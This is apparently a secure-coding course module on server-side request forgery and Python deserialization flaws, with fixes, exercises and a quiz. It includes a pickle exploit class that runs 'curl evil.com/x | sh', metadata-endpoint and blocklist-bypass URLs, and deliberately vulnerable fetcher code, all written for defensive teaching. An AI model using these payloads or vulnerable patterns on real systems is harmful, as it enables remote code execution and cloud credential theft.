Module 03: SSRF and Deserialization Attacks
Why this matters
Modules 01 and 02 were about attacker input reaching a data interpreter (SQL, the browser). This module covers two attacks where the thing you trust is more dangerous still: a URL you fetch, and bytes you rebuild into objects.
SSRF (Server-Side Request Forgery, OWASP A10) is what happens when your server makes an HTTP request to a URL the user supplied. It sounds harmless — "fetch the image at this URL," "call this webhook," "import from this feed" — until you realize your server sits inside your network, behind the firewall, with an identity the outside world doesn't have. An attacker who controls the URL gets to make requests from your server's position: to internal admin panels, to databases, and — most infamously — to the cloud metadata endpoint that hands out your credentials. SSRF was the root of the 2019 Capital One breach (100M+ records). It's on the Top 10 precisely because "fetch a URL" is everywhere and looks innocent.
Insecure deserialization (A08, Integrity Failures) is the other trap, and in
Python it has a name: pickle. Deserialization turns bytes back into live
objects — and some formats can reconstruct arbitrary code execution in the
process. Feeding untrusted data to pickle.loads (or yaml.load, or a Python
eval) is not a data bug; it's handing the attacker a shell. Both attacks share
module 00's theme — trusting input you shouldn't — but here the payoff is your
server itself, so the fixes are non-negotiable.
Concepts
SSRF — making your server the attacker's proxy
The vulnerable pattern is any endpoint that takes a URL (or a host, or something that becomes a URL) from the user and fetches it server-side:
import httpx
from fastapi import APIRouter
router = APIRouter()
@router.post("/fetch-preview") # "give us a URL, we'll generate a preview"
async def fetch_preview(url: str):
async with httpx.AsyncClient() as client:
r = await client.get(url) # VULNERABLE — fetches WHATEVER the user says
return {"title": extract_title(r.text)}
The problem is whose request this is. Your server can reach places the attacker's own machine cannot:
- Internal services.
http://localhost:8001/admin,http://10.0.0.5:6379(Redis),http://internal-billing/,http://192.168.1.1/. These often have no auth because "they're only reachable from inside the network" — and your server is inside the network. SSRF turns your public endpoint into a proxy into your private one. - Cloud metadata endpoints. On AWS/GCP/Azure, a magic link-local address
(
http://169.254.169.254/...) serves instance metadata including temporary IAM credentials to anything running on the instance. An attacker who makes your server fetch it gets your cloud keys — this is the Capital One breach in one sentence. - Other schemes/targets.
file:///etc/passwd,gopher://(used to forge arbitrary TCP payloads to internal services),http://[::1], DNS rebinding.
attacker ─"url=http://169.254.169.254/…"─► YOUR SERVER ─fetch─► ┌ cloud metadata (IAM creds)
(outside; no route to internals) (inside the network) ├ 10.0.0.5:6379 (Redis, no auth)
└ internal-admin (no auth)
the attacker borrows your server's position to reach what they can't reach directly
The reason SSRF is hard to fix is that the naive defenses are all bypassable.
Why blocklists don't fix SSRF (and what does)
The tempting fix — "block localhost, 127.0.0.1, and 169.254.169.254" — is
a blocklist, and it fails for the same structural reason as module 01's
character blocklists: the input space is bigger than your list. Bypasses:
- Alternate IP encodings:
127.0.0.1=2130706433(decimal) =0x7f000001(hex) =127.1=[::ffff:127.0.0.1]. - DNS tricks: an attacker's domain
evil.comthat resolves to169.254.169.254; or DNS rebinding, where the name passes your check as a public IP, then re-resolves to an internal IP for the actual fetch (TOCTOU). - Redirects: you fetch an allowed public URL that responds
302 Location: http://169.254.169.254/...and your client follows it inside.
The defenses that actually work, layered (defense in depth):
- Allowlist, don't blocklist. If the feature only needs to reach a known set of hosts (a specific partner API, your own S3 bucket), allow only those and reject everything else. This is the strongest control and the one to reach for first.
- Resolve then validate then pin. When you must accept arbitrary public URLs,
resolve the hostname to an IP yourself, reject the request if the IP is
private/link-local/loopback (
ipaddress.ip_address(...).is_private / is_loopback / is_link_local / is_reserved), and then connect to that validated IP — closing the DNS-rebinding gap between check and use. - Disable redirects (
follow_redirects=False) so a public URL can't bounce you inward, or re-validate each hop. - Restrict scheme to
http/httpsonly (killfile:,gopher:). - Network-layer egress controls. The backstop: firewall rules / a locked-
down egress proxy so the app cannot reach the metadata IP or internal
ranges even if the code check is bypassed. Block
169.254.169.254at the network. (On AWS, also enforce IMDSv2, which requires a token and blocks the simplest SSRF-to-metadata path.)
import ipaddress, socket
from urllib.parse import urlparse
def safe_url(url: str) -> str:
p = urlparse(url)
if p.scheme not in ("http", "https"):
raise ValueError("scheme not allowed")
ip = ipaddress.ip_address(socket.gethostbyname(p.hostname)) # resolve ourselves
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError("target resolves to a non-public address") # blocks 169.254.x, 10.x, 127.x
return url # then fetch with follow_redirects=False; ideally pin to `ip`
Deserialization — turning bytes into objects (and sometimes code)
Serialization turns an in-memory object into bytes (to store or send); deserialization turns bytes back into an object. The risk is that some formats don't just carry data — they carry instructions the deserializer executes while rebuilding, so untrusted bytes become untrusted behavior.
The danger scale:
- Data-only formats — safe by design. JSON, and formats that only ever
produce strings/numbers/lists/dicts, cannot execute code on load.
json.loadsof hostile input can at worst give you a weird-shaped dict (validate it) — it can't run anything. This is why JSON is the default for untrusted data. - Code-executing formats — dangerous. Formats that can instantiate arbitrary
objects or call functions during load. In Python the headline example is
pickle, and alsoyaml.load(the unsafe loader),marshal, and anything built oneval/exec.
pickle is a remote-code-execution primitive
This deserves its own section because it's the single most common Python
security mistake. pickle can execute arbitrary code during
pickle.loads. It's not a bug; it's how pickle works — the pickle format
includes opcodes that construct objects by calling things, and an object's
__reduce__ method can specify any callable to run on unpickling:
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ("curl evil.com/x | sh",)) # runs on the VICTIM's loads()
payload = pickle.dumps(Exploit()) # attacker crafts this
# ... victim does ...
pickle.loads(payload) # ← executes os.system(...) — full RCE
Anywhere untrusted bytes reach pickle.loads, you have remote code execution.
And pickle hides in surprising places: a Redis/Memcached cache where the
values are pickled (an attacker who can write to the cache — via another bug —
gets RCE on every reader), Celery with the pickle serializer (module 06 of
track 06 — use JSON), session cookies or files that store pickled objects,
ML model files (torch.load, joblib) which pickle under the hood, and
pandas.read_pickle. The rule is absolute: never pickle.loads data that
crossed a trust boundary. Pickle is fine for data that never leaves your
trust zone (your own process's temp files); it is never fine for anything a
user, a network peer, or a shared datastore could influence.
pickle.loads(untrusted): bytes ─► __reduce__ opcodes CALL things ─► os.system(...) → RCE
json.loads(untrusted): bytes ─► only str / num / list / dict produced ─► worst case:
a wrong-shaped dict you then validate (never code)
Safe alternatives and the general fix
- Prefer a data-only format: JSON. For app data crossing trust boundaries,
use
json— it can't execute code. Then validate the shape with Pydantic (a dict is not proof the right dict arrived; module 01's NoSQL lesson applies). - YAML: always
yaml.safe_load, neveryaml.load.yaml.loadwith the default/FullLoader can construct arbitrary Python objects (!!python/object) — an RCE path just like pickle.yaml.safe_loadrestricts to basic types. - Never
eval/execon untrusted input.eval(request_body)is RCE by definition. If you need to parse structured input, use a real parser (json.loads,ast.literal_evalfor literals only), nevereval. - If you must transport rich objects, sign the bytes. When a format's power is genuinely needed, attach an HMAC signature (track 06's webhook pattern) so you only deserialize bytes you produced and verify (constant- time, track 03 m07) before loading. Better still: redesign so you don't have to — pass an id and re-fetch (track 06's "pass IDs, not objects").
- General principle (A08): treat all serialized input as untrusted; verify integrity/authenticity before acting on it; and prefer formats that carry data, not behavior.
import json, yaml
from pydantic import BaseModel
class Config(BaseModel):
retries: int
endpoints: list[str]
cfg = Config(**json.loads(untrusted_bytes)) # JSON can't execute; Pydantic validates shape
cfg = Config(**yaml.safe_load(untrusted_yaml)) # safe_load — NEVER yaml.load / full loader
# pickle.loads(untrusted_bytes) # ← never, on anything untrusted: RCE
Command reference
| Pattern | Purpose | Snippet |
|---|---|---|
| URL allowlist | strongest SSRF defense | reject unless host in {known partners} |
resolve + ipaddress check |
block internal/metadata targets | ip.is_private/is_loopback/is_link_local |
follow_redirects=False |
stop redirect-to-internal | httpx.AsyncClient(follow_redirects=False) |
| scheme allowlist | kill file:/gopher: |
accept only http/https |
| network egress rules / IMDSv2 | backstop below the code | block 169.254.169.254 at the network |
json.loads + Pydantic |
safe deserialization + shape check | data-only format, validated |
yaml.safe_load |
safe YAML | never yaml.load/FullLoader on untrusted |
never pickle.loads(untrusted) |
avoid RCE | pickle only within your trust zone |
| HMAC-sign serialized bytes | if rich format unavoidable | verify constant-time before loading |
A hardened URL-fetching endpoint — the SSRF half in one snippet:
import httpx, ipaddress, socket
from urllib.parse import urlparse
from fastapi import APIRouter, HTTPException
router = APIRouter()
ALLOWED_HOSTS = {"api.partner.com", "cdn.partner.com"} # allowlist first if you can
@router.post("/fetch-preview")
async def fetch_preview(url: str):
p = urlparse(url)
if p.scheme not in ("http", "https"):
raise HTTPException(400, "bad scheme")
if p.hostname not in ALLOWED_HOSTS: # strongest control
raise HTTPException(400, "host not allowed")
ip = ipaddress.ip_address(socket.gethostbyname(p.hostname)) # and re-validate the IP
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise HTTPException(400, "target not public")
async with httpx.AsyncClient(follow_redirects=False, timeout=5) as client:
r = await client.get(url) # redirects off so it can't bounce inward
return {"len": len(r.text)}
Hands-on exercises
Continue in sec-track. For the metadata exercise you don't need a real cloud
account — run a tiny local server on 169.254.169.254-stand-in (use
127.0.0.1:9000 serving a fake "credentials" JSON) to represent the internal
target, and point the SSRF at it.
1. Build the vulnerable fetcher and hit an internal target
Write the /fetch-preview?url= endpoint that does httpx.get(url) with no
checks. Stand up a second local server (a fake "internal admin" on
127.0.0.1:9000 returning SECRET-INTERNAL-DATA). From the public endpoint,
pass url=http://127.0.0.1:9000/. Expected: your public endpoint returns the
internal server's secret — you've proven SSRF reaches inside.
2. Simulate the metadata-credentials theft
Point your fake internal server at a /latest/meta-data/iam/... path returning
a JSON blob of fake "credentials." Fetch it through the SSRF endpoint. Expected:
the "IAM credentials" come back through your public API — this is, mechanically,
the Capital One breach. Write one sentence on why the metadata endpoint is so
catastrophic a target.
3. Break a naive blocklist
Add a "fix" that rejects url containing 127.0.0.1 or localhost. Now bypass
it: try http://0x7f000001/, http://2130706433/, http://127.1/, or a
hostname you control (via /etc/hosts or a *.localtest.me-style name) that
resolves to 127.0.0.1. Expected: at least one bypass reaches the internal
target anyway — proving blocklists don't fix SSRF.
4. Fix it properly: resolve, validate, pin
Replace the blocklist with: scheme allowlist, resolve the hostname to an IP
yourself, reject is_private/is_loopback/is_link_local/is_reserved, and (bonus)
connect to the resolved IP. Replay every bypass from exercise 3. Expected: all
of them are rejected because they resolve to non-public addresses regardless
of how the input was encoded.
5. Defeat the redirect bypass
With your validated fetcher, set up a public-looking URL (a local server on a
non-loopback interface, or mock it) that returns 302 Location: http://127.0.0.1:9000/. Fetch it with follow_redirects=True. Expected: you
land on the internal target despite the initial URL passing validation. Fix with
follow_redirects=False (or re-validate each hop) and confirm.
6. Pickle RCE against yourself
Write the Exploit.__reduce__ class from Concepts (have it create a file
/tmp/pwned or print a banner rather than anything harmful), pickle.dumps it,
and pickle.loads the bytes. Expected: your "innocent" loads runs the
payload. Internalize that this requires no bug in your logic — loads itself
is the vulnerability.
7. Find the pickle hiding in a cache
Build a cache helper that stores/loads values with pickle in Redis (or a
dict). Now imagine an attacker who can write one cache key (via some other bug):
write a pickled Exploit to that key and call your cache get. Expected: RCE on
read. Then switch the cache serializer to json and confirm the same poisoned
value is now inert (worst case: a bad dict, which you validate).
8. YAML config loader: load vs safe_load
Load a config file with yaml.load(..., Loader=yaml.FullLoader) (or bare
yaml.load on an old version) and feed it a !!python/object/apply:os.system
payload. Observe (or reason precisely about) the code execution. Switch to
yaml.safe_load and confirm the payload is rejected/inert. Expected: you can
state exactly why safe_load is mandatory for any config a user can influence.
9. Diagnose and fix: the import-from-URL feature
Audit this "import your data from a URL, we cache the parsed result" endpoint for both an SSRF and a deserialization flaw, and fix both.
import httpx, pickle
@app.post("/import")
async def import_data(source_url: str):
async with httpx.AsyncClient() as c:
raw = (await c.get(source_url)).content # fetches any URL, follows redirects
obj = pickle.loads(raw) # trusts remote bytes
redis.set(f"import:{source_url}", pickle.dumps(obj))
return {"imported": len(obj)}
Solution
Two critical flaws. (1) SSRF — source_url is fetched with no validation and
default redirect-following, so it reaches internal services / 169.254.169.254.
Fix: allowlist hosts if possible; otherwise scheme-check, resolve + reject
private/loopback/link-local/reserved IPs, follow_redirects=False, and back it
with network egress rules. (2) Insecure deserialization / pickle RCE —
pickle.loads(raw) on remote bytes is direct remote code execution; the
attacker serves a crafted pickle and owns your server. Fix: transport a data-only
format (json.loads) and validate the shape with Pydantic; never pickle across
a trust boundary. (Bonus: the endpoint then re-pickles into Redis — a second
pickle-in-cache hazard; store JSON there too so a poisoned cache value can't RCE
readers.) Corrected shape: validate+pin the URL, fetch with redirects off, parse
as JSON, validate the object, cache as JSON.
Independent challenge
No code given. Build a "website screenshot / link-preview" service for
sec-track: the user submits a URL, your server fetches it, extracts the title
and a data-only summary, and caches the result. Make it SSRF-proof — decide
whether an allowlist is possible for your use case (justify it) and, if you must
accept arbitrary public URLs, implement resolve-validate-(pin) with redirects
disabled and a scheme allowlist, plus describe the network-layer egress backstop
you'd add in production. Then make the caching layer deserialization-safe:
store and reload the cached summary in a format that cannot execute code, and
validate its shape on load (reach back to module 01's "a dict is not proof of
the right dict" and Pydantic typing). Finally, write a threat-model note (module
00's lens) covering: what internal targets your unprotected version could have
reached, why a blocklist would not have sufficed, and why pickle in the cache
would have been an RCE even though "the data is our own."
Hint
The subtlety that separates a real SSRF fix from a fake one is the gap between
validation and use: if you check the hostname's IP and then let the HTTP
client re-resolve the name to connect, DNS rebinding slips a public IP past your
check and an internal IP into the actual socket (a TOCTOU bug). Closing it means
resolving once and connecting to that IP, and disabling redirects so a
validated URL can't 302 you inward. For the cache, the trap in "the data is
our own" is that a separate vulnerability (a cache-write bug, a poisoned
upstream) can plant bytes another code path will pickle.loads — so the RCE
doesn't need the attacker to control the pickle directly, only to influence what
lands in a store you later deserialize. JSON removes the primitive entirely:
worst case is a malformed dict, which Pydantic rejects.
Common mistakes & troubleshooting
- Fetching a user-supplied URL with no validation. Classic SSRF — reaches internal services and cloud metadata. Allowlist hosts; else resolve+validate the IP and disable redirects.
- Blocklisting
localhost/127.0.0.1/169.254.... Bypassable via decimal/ hex/short IP encodings, DNS names, and rebinding. Allowlist or resolve-and- validate against private/loopback/link-local/reserved. - Leaving redirects enabled on the fetcher. A validated public URL can
302to an internal one.follow_redirects=False(or re-validate every hop). - Relying on the code check alone. Add the network backstop (egress firewall, IMDSv2) so a bypass still can't reach the metadata IP.
pickle.loadson anything untrusted. It's remote code execution by design — including via caches (Redis/Memcached), Celery, sessions, and ML model files. Use JSON across trust boundaries; pickle only within your process.yaml.load/ FullLoader on user-influenced config. Can construct arbitrary objects (RCE). Alwaysyaml.safe_load.eval/execon request input. RCE by definition. Usejson.loads/ast.literal_eval, nevereval.- Assuming JSON is safe shape. JSON can't execute code, but a valid-JSON hostile shape still needs Pydantic validation (module 01's NoSQL lesson).
Checkpoint quiz
Write down your answer to each question before expanding it — checking without attempting first is the single easiest way to fool yourself into thinking you've learned this.
- What is SSRF, and why is "my server fetches a URL" so much more dangerous than "the user's browser fetches a URL"?
- Name three things an attacker targets via SSRF and why the cloud metadata endpoint is the worst.
- Why doesn't a blocklist of
localhost/127.0.0.1/169.254.169.254fix SSRF? Give two bypasses and the defense that actually works. - What is DNS rebinding, and what property must a correct SSRF fix have to stop it?
- Why is
pickle.loadson untrusted data a remote-code-execution vulnerability, not merely a data bug? Name two non-obvious places pickle hides. - Why is JSON a safe deserialization format where pickle is not, and what must
you still do after
json.loads? - What's the difference between
yaml.loadandyaml.safe_load, and which do you use for user-influenced input?
Answers
- SSRF is when your server makes an HTTP request to a URL an attacker controls. It's dangerous because your server sits inside your network with an identity/position the attacker's own machine lacks — so the attacker's URL is fetched from the server's trusted vantage point, reaching internal services and credentials the outside world can't touch.
- Internal services (unauthenticated admin panels, Redis, internal APIs), the
cloud metadata endpoint (
169.254.169.254), and other schemes/hosts (file://, internal IPs). Metadata is worst because it hands out temporary IAM credentials to anything on the instance — SSRF to it steals your cloud keys (the Capital One breach). - The input space is larger than any blocklist:
127.0.0.1can be written2130706433,0x7f000001,127.1; or a DNS name can resolve to an internal IP; or a redirect bounces you inward. The fix: allowlist hosts, or resolve the name yourself and reject private/loopback/link-local/reserved IPs, with redirects disabled. - DNS rebinding: the hostname resolves to a public IP when you check it, then re-resolves to an internal IP when the client actually connects (a time-of-check/time-of-use gap). The fix must resolve once and connect to that same validated IP (pin it), not let the client re-resolve.
- Because the pickle format includes opcodes that call callables while
rebuilding an object (
__reduce__can name any callable), so loading attacker bytes executes attacker code — RCE, by design, not a bug. Hidden spots: pickle-serialized caches (Redis/Memcached), Celery's pickle serializer, session stores, and ML model files (torch.load/joblib/read_pickle). - JSON is a data-only format — it can only produce strings/numbers/lists/dicts
and has no mechanism to call code on load — so the worst hostile JSON does is
yield a bad-shaped dict. After
json.loadsyou must still validate the shape/types (Pydantic), because valid JSON is not proof of the expected structure. yaml.load(default/FullLoader) can construct arbitrary Python objects (!!python/object/apply:...) — an RCE path like pickle;yaml.safe_loadrestricts to basic types. Always usesafe_loadfor any user-influenced input.
Further reading & sources
- OWASP Server-Side Request Forgery Prevention Cheat Sheet - allowlisting, resolve-then-validate, and why blocklists fail.
- OWASP Deserialization Cheat Sheet - safe formats and integrity checks for serialized data across languages.
- Python
pickledocs - security warning - the official "never unpickle untrusted data" warning and why. - Python
ipaddressmodule - theis_private/is_loopback/is_link_local/is_reservedchecks used to validate resolved IPs. - AWS - Use IMDSv2 - the token-required metadata service that blocks the simplest SSRF-to-credentials path.
- CWE-918: Server-Side Request Forgery - the formal weakness definition (see CWE-502 for deserialization).
Next
04-rate-limiting-and-abuse-prevention — from single-request attacks to volume attacks. Rate limiting is the control that stands between an attacker and unlimited attempts: brute force, credential stuffing, scraping, and resource exhaustion. You'll implement token-bucket and sliding-window limiters backed by Redis.